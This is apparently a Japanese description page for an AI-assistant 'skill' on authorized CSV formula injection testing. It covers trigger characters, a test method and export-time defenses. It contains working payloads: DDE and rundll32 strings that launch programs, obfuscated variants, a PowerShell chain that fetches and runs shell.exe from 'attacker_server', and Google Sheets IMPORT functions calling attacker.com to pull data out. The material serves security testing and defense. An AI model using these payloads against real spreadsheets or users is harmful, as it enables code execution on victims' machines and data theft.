csv-formula-injection について
許可を得た CSV 数式インジェクションのセキュリティテスト向けスキルです。スプレッドシートや DDE の挙動、テスト手順、エクスポート時の対策を扱います。
主な機能
- 01数式プレフィックスと DDE のテスト
- 02難読化パターンの確認
- 03Google Sheets インポートのリスク
- 04エクスポート経路のテスト
- 05CSV インジェクション対策
活用シーン
- 01CSV エクスポート内のユーザー入力確認
- 02ラボでの数式評価の検証
- 03Google Sheets のリクエストリスク評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill csv-formula-injectionインストール後、Claude Code で/csv-formula-injectionを入力して読み込まれたか確認します。
詳細
スキル:CSV 数式インジェクション
AI 読み込み指示:このスキルでは、CSV やスプレッドシートにおける数式/DDE 形式のインジェクション、難読化、クラウドシートの機能、安全なテスト方法を扱います。明示的に許可されている場合にのみ使用してください。ローカルコマンドの実行やリモートからの取得を行うペイロードは影響が大きいため、ラボ環境を優先し、同意を記録してください。クライアント側の実行テストを許可するプログラム規則がない限り、エンドユーザーを標的にしないでください。
0. クイックスタート
Excel、LibreOffice Calc などでセルを開いたときに数式評価を引き起こす可能性がある文字(多くの場合、セルが数式として解釈される場合に限ります):
=
+
-
@
テスト用セルの例:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
テスト方針に関する注意:CSV エクスポート、バックオフィスレポート、またはスプレッドシートで開かれるユーザーデータをテストする場合は、これらの先頭文字を優先してください。
1. DDE インジェクション(EXCEL/LIBREOFFICE)
Dynamic Data Exchange(DDE)と、スプレッドシートで過去に悪用された外部呼び出しのパターンです。管理されたラボで再現する例:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell 形式のチェーン(ラボ専用。ホストとペイロードは無害なものに置き換えてください):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. 難読化
防御側のパーサーが明らかなパターンを除去することがあるため、テスターはノイズや空白を試す場合があります(許可されている場合に限ります):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
= の後に余分な空白を入れる:
= cmd|'/c calc.exe'!A
文字の分散/通常とは異なる空白(概念的なパターンです。パーサーに応じて調整してください):
= C m D |'/c calc.exe'!A
rundll32 形式:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
エクスポートされたデータを後で Google Sheets で開く場合や、シートが信頼できない CSV からデータを取り込む場合、次の関数によって外部へのリクエストや別ドキュメントからのデータ取得が発生する可能性があります。
データ窃取/プローブ(URL は許可されたコールバックに置き換えてください):
=IMPORTXML("http://attacker.com/", "//a/@href")
その他の高リスクなインポート:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
どの関数が実行されたか、またどのようなネットワーク上の副作用が発生したかを記録してください。
4. テスト方法
- 出力箇所を特定する — CSV、XLSX、またはタブ区切り形式で出力する機能をすべて確認します。管理者向けエクスポート、監査ログ、ユーザー名簿、請求レポート、検索結果などが該当します。
- ユーザーが制御できるフィールドを追跡する — プロフィール項目、チケットのタイトル、取引メモ、タグ、ZIP エクスポート内のファイル名など、保存済みの入力がそのまま出力される列を確認します。
- 数式の先頭文字を挿入する — まずは無害な算術式(
=1+1、+1+1)で評価されるかを検出し、ルールに従う場合に限って段階的にテストを進めます。 - 対象のソフトウェアで開く — 被害者のワークフローに合わせます。Excel デスクトップ版、LibreOffice、Google Sheets へのインポート、ロケール固有の小数点区切り文字などを確認します。
- 証拠を記録する — セルに計算結果が表示されるか、セキュリティ警告が出るか、DDE プロンプトが表示されるかをスクリーンショットなどで記録し、製品のバージョンも記載します。
注意:user input -> export -> opened in spreadsheet software の流れに注目してください。
5. 防御
アプリケーション層およびエクスポート層での緩和策:
- 単一引用符を先頭に付ける — 多くのスプレッドシートアプリでは、先頭の
'によってテキストとして解釈されます。'=cmd|...は文字列として表示されます。 - タブを先頭に付ける — パイプラインによっては、正しく取り込まれた場合、タブを先頭に付けたフィールドを数式ではなくテキストとして扱います。
- 先頭のトリガー文字を除去または無害化する — エクスポート時に、先頭の
=,+,-,@(および見た目が似た Unicode 文字)を除去するかエスケープします。 - CSV のエンコード — 一貫した引用符の使用と、列の型の検証を行います。サニタイズせずに、生の数式文字列を財務・レポート用テンプレートに渡すことは避けてください。
- ユーザーへの周知 — ポリシーに反する場合は、外部データや DDE を有効にしないでください。
安全なエクスポート変換の例(概念):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
注意:業務データのエクスポート、レポート、API のエクスポートパラメーターを相関させる場合は、インジェクション、ビジネスロジック、API セキュリティのスキルと組み合わせてください。